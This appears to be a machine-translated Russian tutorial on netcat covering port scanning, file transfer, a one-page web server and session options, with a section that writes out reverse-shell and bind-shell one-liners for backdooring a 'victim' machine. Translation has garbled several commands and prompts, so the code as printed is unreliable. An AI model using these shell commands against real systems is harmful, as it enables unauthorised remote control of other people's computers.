NetCat

Netcat - Швейцарский армейский нож для профессионального использования

Netcat - Швейцарский армейский нож для профессионального использования
Netcat - это утилита, которая используется для чтения и записи данных через порты TCP и UDP. Его можно использовать для множества интересных вещей, таких как передача файлов, сканирование портов, перенаправление портов, бэкдор на чужом ПК, создание простой программы чата, устранение неполадок в сети и многое другое, поэтому он известен как швейцарский армейский нож. Кроме того, он предустановлен почти в каждом дистрибутиве Linux в настоящее время и в основном используется сетевыми администраторами, DevOps и инженерами по безопасности для их повседневных небольших задач.

Краткое различие между netcat-Traditional и netcat-openbsd

Для netcat доступны два похожих пакета с небольшой разницей между ними.

netcat-традиционный включает дополнительную опцию '-e', которую можно использовать для привязки программы (i.e bash) с помощью netcat. Эта функция очень полезна для целей удаленного администрирования.

netcat-openbsd есть дополнительная поддержка IPv6 и прокси.

Установка Netcat

Хотя netcat предустановлен в большинстве дистрибутивов Linux, но если это не так, его можно легко установить с помощью следующих команд.

Для традиционной упаковки,

[электронная почта защищена]: ~ $ sudo apt-get install netcat-Traditional

Для версии openbsd,

[электронная почта защищена]: ~ $ sudo apt-get install netcat-openbsd

Netcat для Windows можно скачать здесь https: // sourceforge.сеть / проекты / NC110 / файлы /.

Теперь мы рассмотрим несколько интересных случаев использования netcat

Сканирование портов с помощью netcat

Чтобы сканировать открытые порты, используйте опцию '-z'. Netcat будет пытаться подключиться к каждому порту без отправки каких-либо данных или очень ограниченных данных в случае UDP. Введите следующее

[электронная почта защищена]: ~ $ nc -z -v hackme.org 80
… Отрезать…
hackme.org [217.78.1.155] 80 (http) открыто

Чтобы просканировать диапазон портов, введите

[электронная почта защищена]: ~ $ nc -z -nv 192.168.100.72 20-80
(НЕИЗВЕСТНО) [192.168.100.72] 80 (http) открыто
(НЕИЗВЕСТНО) [192.168.100.72] 22 (ssh) открыто

Передача файлов с помощью netcat

Еще один полезный вариант использования netcat - передача файлов между удаленными компьютерами. Вы можете отправлять тексты и двоичные файлы с одного компьютера на другой. Мы попробуем отправить файл «файл.pdf »с ПК с Linux на ПК с Windows [IP 192.168.100.72] на примере netcat.

На машине Windows (получателе) введите следующее

C: \ Users> nc -nvlp 1337> файл.pdf
Прослушивание на [0.0.0.0] (семейство 2, порт 1337)

На машине Linux (отправитель) введите следующее

[электронная почта защищена]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Подключение к 192.168.100.72 1337 порт [tcp / *] успешно завершен!

Удаленное администрирование с помощью netcat

Один из лучших вариантов использования netcat - удаленное администрирование, что означает, что вы можете управлять чужим ПК с помощью netcat. Netcat-Traditional поставляется с параметром -e, который можно использовать для привязки программы (i.e cmd.exe в Windows или bash в Linux) с портом, это означает, что netcat будет действовать как коммуникатор между программой и удаленным ПК. Netcat получит команды с удаленного ПК, выполнит их в локальной системе и отправит результаты обратно на удаленный ПК. Эта функция широко используется в злонамеренных целях, чтобы держать бэкдоры на ПК и серверах. Эта функция доступна только в традиционном netcat, но с небольшой уловкой netcat-openbsd также можно использовать для той же цели. Вы можете использовать два способа управления чужим ПК.

В Обратная оболочка соединение, злоумышленник прослушивает порт и ожидает отправки соединения с машины жертвы. Он используется, когда компьютер жертвы находится за NAT или не имеет общедоступного IP-адреса.

Чтобы получить обратную оболочку с помощью netcat, вам нужно прослушивать порт с помощью netcat. Введите на атакующем компьютере следующее,

[электронная почта защищена]: ~ $ nc -nvlp 1337
Прослушивание на [0.0.0.0] (семейство 2, порт 1337)

На машине жертвы (если netcat-традиционный установлен)

// заменить «/ bin / bash» на «cmd».exe »в случае Windows

[электронная почта защищена]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Для netcat-openbsd (где опция «-e» не поддерживается)

[электронная почта защищена]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

В то время как в Привязать оболочку соединение, злоумышленник связывает порт на машине жертвы и подключается к этому порту с помощью клиентского сокета. Он используется, когда машина злоумышленника находится за NAT или не имеет общедоступного IP-адреса.

На машине жертвы введите

[электронная почта защищена]: ~ $ nc -nlvp 1337 -e / bin / bash
прослушивание [любой] 1337…

Теперь, чтобы запустить команды на машине жертвы, введите

[электронная почта защищена]: ~ $ nc -nv 127.0.0.1 1337
Подключение к 127.0.0.1 порт 1337 [tcp / *] успешно завершен!
$ id
uid = 1000 (азад) gid = 1000 (азад) группы = 1000 (азад), 4 (адм), 24 (cdrom), 27 (sudo),
30 (провал), 46 (plugdev), 118 (lpadmin), 129 (самбашаре)

Простой веб-сервер с использованием netcat

Вы также можете сделать еще один простой трюк, чтобы использовать netcat в качестве минимального одностраничного веб-сервера. Этот веб-сервер был бы очень простым без каких-либо специальных настроек, и мы будем использовать его для отправки нашего HTML-кода в браузер.

[электронная почта защищена]: ~ $ пока истина; сделать echo -e "HTTP / 1.1 200 ОК \ n \ n $ (эхо "


Мой простой веб-сервер с использованием netcat

")" | NC -nvlp 1337; Выполнено
Прослушивание на [0.0.0.0] (семейство 2, порт 1337)

Теперь попробуйте получить веб-страницу с помощью curl

[электронная почта защищена]: ~ $ curl http: // 127.0.0.1: 1337 /

Мой простой веб-сервер с использованием netcat

Укажите тайм-аут для сеанса netcat

Вы можете указать тайм-аут для сеанса netcat, используя параметр «-w». Netcat автоматически отключит свою сессию по истечении указанного времени.

// -w [Время в секундах]
[электронная почта защищена]: ~ $ nc -w 40 -nvlp 1337
Прослушивание на [0.0.0.0] (семейство 2, порт 1234)

Продолжать прослушивание, даже если клиент закрывает соединение

В обычном режиме сервер netcat выключается и перестает прослушивать порт, когда клиент закрывает соединение. Вы можете поддерживать сервер в рабочем состоянии, используя опцию «-k»

[электронная почта защищена]: ~ $ nc -k -nlvp 1234
Прослушивание на [0.0.0.0] (семейство 2, порт 1234)

Заключение

Netcat - простая, но эффективная утилита, которую можно использовать для множества простых повседневных задач. Он предустановлен почти во всех UNIX-подобных операционных системах и может использоваться для различных задач, таких как связь между двумя ПК, передача файлов и многое другое.

Как использовать чит-движок GameConqueror в Linux
В статье содержится руководство по использованию чит-движка GameConqueror в Linux. Многие пользователи, играющие в игры на Windows, часто используют п...
Лучшие эмуляторы игровой консоли для Linux
В этой статье будет перечислено популярное программное обеспечение для эмуляции игровых консолей, доступное для Linux. Эмуляция - это уровень совмести...
Лучшие дистрибутивы Linux для игр в 2021 году
Операционная система Linux прошла долгий путь от своего первоначального простого серверного вида. Эта ОС значительно улучшилась за последние годы и те...